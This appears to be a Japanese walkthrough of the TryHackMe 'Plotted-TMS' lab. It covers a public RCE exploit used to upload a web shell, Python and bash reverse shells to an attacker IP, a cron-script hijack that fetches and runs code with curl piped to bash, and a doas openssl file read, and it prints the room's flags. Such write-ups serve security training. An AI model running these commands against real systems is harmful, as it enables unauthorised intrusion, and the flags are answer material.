【TryHackMe】Plotted-TMS：Walkthrough

# 概要

TryHackMe「Plotted-TMS」のWalkthroughです。

https://tryhackme.com/r/room/plottedtms

# Task1

## **Q1**.*What is user.txt?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.40.74 -oN nmap_result
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a3:6a:9c:b1:12:60:b2:72:13:09:84:cc:38:73:44:4f (RSA)
|   256 b9:3f:84:00:f4:d1:fd:c8:e7:8d:98:03:38:74:a1:4d (ECDSA)
|_  256 d0:86:51:60:69:46:b2:e1:39:43:90:97:a6:af:96:93 (ED25519)
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
445/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache httpd 2.4.41|
|445|http|Apache httpd 2.4.41|

`445`ポートのディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.40.74:445
[09:10:32] 301 -  320B  - /management  ->  http://10.10.40.74:445/management/
[09:10:32] 200 -    4KB - /management/

$ dirsearch -u http://10.10.40.74:445/management
[09:12:19] 200 -  166B  - /management/404.html
[09:12:22] 200 -  583B  - /management/about.html
[09:12:25] 301 -  326B  - /management/admin  ->  http://10.10.40.74:445/management/admin/
[09:12:27] 200 -    5KB - /management/admin/
[09:12:28] 200 -    5KB - /management/admin/index.php
[09:12:28] 200 -    2KB - /management/admin/login.php
[09:12:44] 301 -  327B  - /management/assets  ->  http://10.10.40.74:445/management/assets/
[09:12:44] 200 -  463B  - /management/assets/
[09:12:48] 301 -  326B  - /management/build  ->  http://10.10.40.74:445/management/build/
[09:12:49] 200 -  484B  - /management/build/
[09:12:51] 301 -  328B  - /management/classes  ->  http://10.10.40.74:445/management/classes/
[09:12:52] 200 -  541B  - /management/classes/
[09:12:53] 200 -    0B  - /management/config.php
[09:12:58] 301 -  329B  - /management/database  ->  http://10.10.40.74:445/management/database/
[09:12:58] 200 -  478B  - /management/database/
[09:13:00] 200 -  471B  - /management/dist/
[09:13:00] 301 -  325B  - /management/dist  ->  http://10.10.40.74:445/management/dist/
[09:13:13] 301 -  324B  - /management/inc  ->  http://10.10.40.74:445/management/inc/
[09:13:13] 200 -  500B  - /management/inc/
[09:13:19] 301 -  325B  - /management/libs  ->  http://10.10.40.74:445/management/libs/
[09:13:31] 301 -  326B  - /management/pages  ->  http://10.10.40.74:445/management/pages/
[09:13:31] 200 -  497B  - /management/pages/
[09:13:37] 301 -  328B  - /management/plugins  ->  http://10.10.40.74:445/management/plugins/
[09:13:37] 200 -    1KB - /management/plugins/
[09:13:59] 301 -  328B  - /management/uploads  ->  http://10.10.40.74:445/management/uploads/
[09:13:59] 200 -  574B  - /management/uploads/
```

`/management`ディレクトリが見つかりました。
アクセスします。

![manage.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a9fff226-23ba-e1e1-9243-80c7ce89f37a.jpeg)

ログインページにアクセスします。

![login form.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1be3d2cb-e1da-6e81-3535-3ccbaf85e294.jpeg)

`Traffic Offense Management System`で検索すると1.0でのRCE exploitが見つかりました。

https://www.exploit-db.com/exploits/50221

PoCを実行します。

```
$ python2.7 exploit.py                                       

Example: http://example.com

Url: http://10.10.40.74:445/management
Check Url ...

[+] Bypass Login

[+] Upload Shell

[+] Exploit Done!

$ whoami
Traceback (most recent call last):
  File "exploit.py", line 58, in <module>
    request = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/api.py", line 119, in post
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/api.py", line 61, in request
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 516, in request
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 459, in prepare_request
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/models.py", line 314, in prepare
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/models.py", line 388, in prepare_url
requests.exceptions.MissingSchema: Invalid URL '/management/uploads/1727616060_evil.php?cmd=whoami': No schema supplied. Perhaps you meant http:///management/uploads/1727616060_evil.php?cmd=whoami?
```

シェルを張れましたが、`requests`ライブラリのエラーでコマンドを実行できませんでした。
しかし、RCEのアップロードファイルはエラー文から分かったので、`cmd`パラメータにリバースシェルのペイロードを付けてリクエストを送信します。

```
http://10.10.40.74:445/management/uploads/1727616060_evil.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.6.55.144%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27
```

Netcatでリッスンしているとリバースシェルを張れました。

```
$ nc -lvnp 1234                                       
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.40.74] 33014
$ whoami
whoami
www-data
```

`plot_admin`への権限昇格を目指します。

```
$ ls -la /home
ls -la
total 16
drwxr-xr-x  4 root       root       4096 Oct 28  2021 .
drwxr-xr-x 20 root       root       4096 Oct 25  2021 ..
drwxr-xr-x  4 plot_admin plot_admin 4096 Oct 28  2021 plot_admin
drwxr-xr-x  4 ubuntu     ubuntu     4096 Oct 28  2021 ubuntu
```

`/etc/crontab`を確認すると`plot_admin`アカウントでスクリプトが実行されるように設定されています。

```
$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* *     * * *   plot_admin /var/www/scripts/backup.sh
#
```

`/var/www/scripts/backup.sh`を確認するとバックアップを取る処理が実行されています。

```
$ cat /var/www/scripts/backup.sh
cat /var/www/scripts/backup.sh
#!/bin/bash

/usr/bin/rsync -a /var/www/html/management /home/plot_admin/tms_backup
/bin/chmod -R 770 /home/plot_admin/tms_backup/management
```

`/var/www/scripts`ディレクトリは`www-data`アカウントがフルコントロールできます。

```
$ ls -la /var/www
ls -la /var/www
total 16
drwxr-xr-x  4 root     root     4096 Oct 28  2021 .
drwxr-xr-x 14 root     root     4096 Oct 28  2021 ..
drwxr-xr-x  4 root     root     4096 Oct 28  2021 html
drwxr-xr-x  2 www-data www-data 4096 Oct 28  2021 scripts
```

`/var/www/scripts/backup.sh`を別ファイル名にします。

```
$ mv backup.sh backup.sh.org
```

Kaliでリバースシェルのペイロードファイルを作成します。

```shell.sh
#!/bin/bash

bash -i >& /dev/tcp/10.6.55.144/1234 0>&1
```

httpサーバーを起動します。

```
$ python -m http.server 80
```

ターゲットマシン上に`backup.sh`として、作成したリバースシェルファイルを設置します。

```
www-data@plotted:/var/www/scripts$ echo "curl http://10.6.55.144/shell.sh|bash" > backup.sh
```

Netcatでリッスンしていると`plot_admin`としてシェルを張れました。

```
$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.40.74] 55188
bash: cannot set terminal process group (31784): Inappropriate ioctl for device
bash: no job control in this shell
plot_admin@plotted:~$ whoami
whoami
plot_admin
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`/home/plot_admin/user.txt`からルートフラグを入手できます。

```/home/plot_admin/user.txt
77927510d5edacea1f9e86602f1fbadb
```

**A**.**77927510d5edacea1f9e86602f1fbadb**

## **Q2**.*What is root.txt?*

`linpeas`を実行します。

```
./linpeas
```

`doas.conf`がピックアップされました。

```
╔══════════╣ Checking doas.conf
permit nopass plot_admin as root cmd openssl
```

`openssl`がルート権限で実行できるようなのでGTFOBinsで検索します。

https://gtfobins.github.io/gtfobins/openssl/#file-read

`file-read`のテクニックを利用してルートフラグを入手できます。

```
$ LFILE=/root/root.txt
$ /usr/bin/doas openssl enc -in "$LFILE"
Congratulations on completing this room!

53f85e2da3e874426fa059040a9bdcab

Hope you enjoyed the journey!

Do let me know if you have any ideas/suggestions for future rooms.
-sa.infinity8888
```

**A**.**53f85e2da3e874426fa059040a9bdcab**